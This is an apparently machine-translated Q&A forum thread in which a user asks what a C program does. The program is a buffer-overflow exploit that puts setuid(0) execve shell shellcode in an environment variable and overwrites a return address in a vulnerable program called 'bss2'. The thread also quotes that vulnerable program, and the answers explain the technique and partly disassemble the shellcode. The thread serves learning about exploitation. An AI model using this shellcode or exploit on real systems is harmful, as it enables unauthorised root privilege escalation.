2011-04-15 109 views
1
#define bufsize 260 
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */ 
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68" 
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; 

int main(void){ 
    char buf[bufsize] ; 
    char *proc[]={"./bss2",buf,NULL}; 
    char *envir[]={"Bytes=2Lu",shellcode,NULL}; 
    unsigned long ret_addr = 0xc0000000 - strlen(proc[0]) - strlen(shellcode) - sizeof(void *) - 0x02; 
    memset(buf,0x42,sizeof(buf)); 
    memcpy(buf + bufsize - 4,(char *)&ret_addr,4); 
    execve(proc[0],proc,envir); 
    return 0; 
} 

什么是那些memcpymemsetexecve之前在做什么?它是如何影响PROGRAME proc?对于BSS2这个程序是做什么的?

#define LEN 256 
void output(char *); 
int main(int argc, char **argv) { 
    static char buffer[LEN]; 
    static void (*func) (char *); 
    func = output; 
    strcpy(buffer, argv[1]); 
    func(buffer); 
    return EXIT_SUCCESS; 
} 
void output(char *string) { 
    fprintf(stdout, "%s", string); 
} 

UPDATE

更新代码,现在看来问题归结到环境变量在什么位置?

回答

0

对我来说似乎很陌生,因为buf参数不是空终止的。

好,memset和memcpy做一些黑客与第一程序参数,然后execve的启动它。对不起,不能多说了......

+0

但是'envir'是什么? – gdb 2011-04-15 06:45:09

+0

它看起来像shellcode被放置在一个环境变量,然后堆栈被用来试图让它执行。 – 2011-04-15 06:51:43

+0

@ Jason,我上面更新了代码'bss2',它并没有从环境变量中获取shell代码。 – gdb 2011-04-15 06:53:32

0

由于bufsizeshellcode未定义,所以无法编译。

更严重的是,它看起来像它试图利用溢出或shell命令类似称为bss2的缓冲区。

0

我不是专家,但它看起来像试图运行一些利用。

指标包括标识符shellcode,与memset/memcpy操纵参数另一个可执行并计算一些ret_addr值。

0

好像有不是由您发布的代码中定义的一些项目。 shellcode是定义为宏还是其他?值bufsize也是未知的。

的memset的调用似乎初始化八进制值的0x42的缓冲区buf。

memcpy调用似乎是在buf的末尾插入一个地址。

如所提到的,该缓冲液(BUF)最终被作为参数传递给该BSS2过程通过。

3

的代码是构建一个字符串参数和环境(如,在环境变量居住的地方)。参数在argv[0]中包含"./bss2",并且在argv[1]中包含一个由256 B个字符组成的字符串,后跟一个返回地址。 envir onment在第一个位置包含一个虚拟变量,第二个位置包含shellcode。

据推测,目标应用bss2含有可变char x[256];,其拷贝到argv[1]无边界检查。这会导致函数返回地址被在ret_addr中计算的返回地址覆盖,这有希望指向环境块。

+0

因此环境变量的地址在不同进程中是相同的? – gdb 2011-04-15 07:06:58

+0

地址不一样,但环境相对于内存映射其他部分的位置可能相同。 – 2011-04-15 08:26:20

+0

@Jason,在上面的目标代码中似乎不是这种情况。 – gdb 2011-04-15 09:13:43

0

作为一个我自己的练习,我开始手工拆卸shellcode。我得到尽可能:

XOR ebx, ebx #clear ebx 
PUSH ebx  #push ebx onto the stack 
LEA eax, [ebx+23] #load 23 into eax 
INT 80  #do a system call 

我之后觉得无聊,但系统调用23在Linux中的INT 80调用是sys_setuid,所以它看起来像它的代码的UID设置为0,或获得root 。毫不奇怪,因为它是shell代码。 :-)

+1

它也在评论中说:“setuid(0)shellcode by Matias Sedalo”。您也可以使用ndisasm进行反汇编。 :) – MarioVilas 2013-03-08 22:37:08